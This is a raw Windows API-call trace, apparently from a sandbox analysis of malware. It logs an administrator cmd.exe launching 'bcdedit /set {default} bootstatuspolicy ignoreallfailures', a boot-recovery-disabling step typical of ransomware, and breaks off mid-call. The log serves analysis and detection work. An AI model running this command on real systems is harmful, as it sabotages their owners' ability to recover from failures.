[0130.813] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20992a7c110, lpFilePart=0x158ecff2b0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x158ecff2b0*="system32") returned 0x13 [0130.813] SetErrorMode (uMode=0x0) returned 0x1 [0130.813] GetProcessHeap () returned 0x20992a60000 [0130.813] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a7c100, Size=0x48) returned 0x20992a7c100 [0130.813] GetProcessHeap () returned 0x20992a60000 [0130.813] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a7c100) returned 0x48 [0130.813] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0130.813] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0130.813] GetProcessHeap () returned 0x20992a60000 [0130.813] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x1b4) returned 0x20992a78d90 [0130.813] GetProcessHeap () returned 0x20992a60000 [0130.813] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x358) returned 0x20992a78f50 [0130.813] GetProcessHeap () returned 0x20992a60000 [0130.813] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a78f50, Size=0x1b6) returned 0x20992a78f50 [0130.813] GetProcessHeap () returned 0x20992a60000 [0130.813] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a78f50) returned 0x1b6 [0130.813] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0130.813] GetProcessHeap () returned 0x20992a60000 [0130.813] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xe8) returned 0x20992a79120 [0130.813] GetProcessHeap () returned 0x20992a60000 [0130.813] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a79120, Size=0x7e) returned 0x20992a79120 [0130.813] GetProcessHeap () returned 0x20992a60000 [0130.813] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a79120) returned 0x7e [0130.813] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0130.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0x20992a66ae0 [0130.813] FindClose (in: hFindFile=0x20992a66ae0 | out: hFindFile=0x20992a66ae0) returned 1 [0130.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0xffffffffffffffff [0130.814] GetLastError () returned 0x2 [0130.814] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0x20992a66ae0 [0130.814] FindClose (in: hFindFile=0x20992a66ae0 | out: hFindFile=0x20992a66ae0) returned 1 [0130.814] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0130.814] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0130.814] ??_V@YAXPEAX@Z () returned 0x1 [0130.814] GetConsoleTitleW (in: lpConsoleTitle=0x158ecff5a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0130.814] GetProcessHeap () returned 0x20992a60000 [0130.814] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x21c) returned 0x20992a79530 [0130.814] GetConsoleTitleW (in: lpConsoleTitle=0x20992a79540, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0130.814] GetProcessHeap () returned 0x20992a60000 [0130.814] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a79530, Size=0xee) returned 0x20992a79530 [0130.814] GetProcessHeap () returned 0x20992a60000 [0130.814] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a79530) returned 0xee [0130.814] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - bcdedit /set {default} bootstatuspolicy ignoreallfailures") returned 1 [0130.816] GetProcessHeap () returned 0x20992a60000 [0130.816] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a79530) returned 1 [0130.816] InitializeProcThreadAttributeList (in: lpAttributeList=0x158ecff4c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x158ecff3b0 | out: lpAttributeList=0x158ecff4c0, lpSize=0x158ecff3b0) returned 1 [0130.816] UpdateProcThreadAttribute (in: lpAttributeList=0x158ecff4c0, dwFlags=0x0, Attribute=0x60001, lpValue=0x158ecff39c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x158ecff4c0, lpPreviousValue=0x0) returned 1 [0130.816] GetStartupInfoW (in: lpStartupInfo=0x158ecff450 | out: lpStartupInfo=0x158ecff450*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0130.816] GetProcessHeap () returned 0x20992a60000 [0130.816] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x20) returned 0x20992a65bb0 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0130.816] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0130.817] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0130.817] GetProcessHeap () returned 0x20992a60000 [0130.817] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65bb0) returned 1 [0130.817] GetProcessHeap () returned 0x20992a60000 [0130.817] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x12) returned 0x20992a65bb0 [0130.817] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.817] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0130.817] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.817] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0130.817] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\bcdedit.exe", lpCommandLine="bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x158ecff3e0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit /set {default} bootstatuspolicy ignoreallfailures", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x158ecff3b8 | out: lpCommandLine="bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0x158ecff3b8*(hProcess=0x98, hThread=0x94, dwProcessId=0xfe8, dwThreadId=0xfec)) returned 1 [0131.439] CloseHandle (hObject=0x94) returned 1 [0131.439] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0131.440] GetProcessHeap () returned 0x20992a60000 [0131.440] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7b600) returned 1 [0131.440] GetEnvironmentStringsW () returned 0x20992a7ab00* [0131.440] GetProcessHeap () returned 0x20992a60000 [0131.440] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0131.440] FreeEnvironmentStringsA (penv="=") returned 1 [0131.440] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x158ecfe8b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x158ecfe8b8, ReturnLength=0x0) returned 0x0 [0131.440] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x3193745000, lpBuffer=0x158ecfe8f0, nSize=0x7a0, lpNumberOfBytesRead=0x158ecfe8b0 | out: lpBuffer=0x158ecfe8f0*, lpNumberOfBytesRead=0x158ecfe8b0*=0x7a0) returned 1 [0131.440] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0131.577] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x158ecff338 | out: lpExitCode=0x158ecff338*=0x0) returned 1 [0131.577] CloseHandle (hObject=0x98) returned 1 [0131.577] _vsnwprintf (in: _Buffer=0x158ecff508, _BufferCount=0x13, _Format="%08X", _ArgList=0x158ecff348 | out: _Buffer="00000000") returned 8 [0131.577] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0131.577] GetProcessHeap () returned 0x20992a60000 [0131.577] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7b600) returned 1 [0131.577] GetEnvironmentStringsW () returned 0x20992a7ab00* [0131.577] GetProcessHeap () returned 0x20992a60000 [0131.577] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0131.577] FreeEnvironmentStringsA (penv="=") returned 1 [0131.577] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0131.577] GetProcessHeap () returned 0x20992a60000 [0131.577] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7b600) returned 1 [0131.577] GetEnvironmentStringsW () returned 0x20992a7ab00* [0131.577] GetProcessHeap () returned 0x20992a60000 [0131.577] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0131.577] FreeEnvironmentStringsA (penv="=") returned 1 [0131.577] GetProcessHeap () returned 0x20992a60000 [0131.577] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65bb0) returned 1 [0131.577] DeleteProcThreadAttributeList (in: lpAttributeList=0x158ecff4c0 | out: lpAttributeList=0x158ecff4c0) [0131.577] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0131.579] ??_V@YAXPEAX@Z () returned 0x1 [0131.579] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.579] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0131.579] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.579] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6c4f3fc08 | out: lpMode=0x7ff6c4f3fc08) returned 0 [0131.579] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.579] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6c4f3fc0c | out: lpMode=0x7ff6c4f3fc0c) returned 0 [0131.579] GetConsoleOutputCP () returned 0x1b5 [0131.579] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0131.579] SetThreadUILanguage (LangId=0x0) returned 0x409 [0131.579] GetProcessHeap () returned 0x20992a60000 [0131.579] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a79120) returned 1 [0131.579] GetProcessHeap () returned 0x20992a60000 [0131.579] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a78f50) returned 1 [0131.579] GetProcessHeap () returned 0x20992a60000 [0131.579] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a78d90) returned 1 [0131.579] GetProcessHeap () returned 0x20992a60000 [0131.579] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7c100) returned 1 [0131.580] GetProcessHeap () returned 0x20992a60000 [0131.580] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66a50) returned 1 [0131.580] GetProcessHeap () returned 0x20992a60000 [0131.580] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a68da0) returned 1 [0131.580] GetProcessHeap () returned 0x20992a60000 [0131.580] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a669d0) returned 1 [0131.580] GetProcessHeap () returned 0x20992a60000 [0131.580] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65da0) returned 1 [0131.580] GetProcessHeap () returned 0x20992a60000 [0131.580] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66910) returned 1 [0131.580] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x158ecff8e8 | out: _Buffer="\r\n") returned 2 [0131.580] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.580] GetFileType (hFile=0x254) returned 0x3 [0131.580] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0131.580] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x158ecff8b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecff8b8*=0x2, lpOverlapped=0x0) returned 1 [0131.580] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0131.580] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20992c30080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0131.580] _vsnwprintf (in: _Buffer=0x20992c40060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x158ecff8f8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0131.581] _vsnwprintf (in: _Buffer=0x20992c40086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x158ecff8f8 | out: _Buffer=">") returned 1 [0131.581] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.581] GetFileType (hFile=0x254) returned 0x3 [0131.581] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0131.581] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x158ecff8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecff8e8*=0x14, lpOverlapped=0x0) returned 1 [0131.581] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.581] GetFileType (hFile=0x248) returned 0x3 [0131.581] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.581] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.581] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c30, cchWideChar=1 | out: lpWideCharStr="bcdedit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.581] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.581] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.581] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c32, cchWideChar=1 | out: lpWideCharStr="cdedit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.581] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.581] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.581] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c34, cchWideChar=1 | out: lpWideCharStr="dedit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.581] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.581] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.581] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c36, cchWideChar=1 | out: lpWideCharStr="edit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.581] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.581] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.581] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c38, cchWideChar=1 | out: lpWideCharStr="dit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.581] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.582] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.582] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3a, cchWideChar=1 | out: lpWideCharStr="it /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.582] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.582] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.582] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3c, cchWideChar=1 | out: lpWideCharStr="t /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.582] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.582] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.582] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3e, cchWideChar=1 | out: lpWideCharStr=" /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.582] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.582] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.582] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c40, cchWideChar=1 | out: lpWideCharStr="/set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.582] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.582] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.582] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c42, cchWideChar=1 | out: lpWideCharStr="set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.582] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.582] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.582] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, 